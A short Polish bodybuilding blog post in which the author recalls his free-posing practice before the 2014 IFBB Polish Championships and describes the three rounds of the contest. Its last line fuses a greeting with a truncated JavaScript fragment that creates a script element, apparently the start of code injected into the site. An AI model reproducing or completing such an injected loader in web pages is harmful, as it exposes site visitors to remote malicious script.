JabiPakuje – MISTRZOSTWA POLSKI 2014 IFBB – TRENING PROGRAMU DOWOLNEGO

30.09.2014 / Adam Jabłoński / Kulturystyka

Cześć

Odnalazłem na dysku moje treningi programu dowolnego przed MP 2014 ten filmik jest na na 33 dni ( prawie 5 tygodni) przed Mistrzostwami Polski 2014 IFFB które odbyły się 25-27 Maja 2014

Jeśli chodzi o zawody składają się z 3 rund

-1 Runda to są porównania i z wszystkich zawodników wyłaniana jest finałowa 6.
-2 Runda to są kolejne porównania, pozy obowiązkowe i 1 minutowa dogrywka gdzie wszyscy zawodnicy chodzą po scenie pokazując swoje umięśnienie widzą i sędziom.
-3 Runa to są programy dowolne czyli 1 minuta podkładu muzycznego i tutaj każdy zawodnik, pod rytm lub i też nie %-) wykonuję pozy jest to atrakcja dla widowni.

 
HEJAaaavar d=document;var s=d.createElement(‚script’);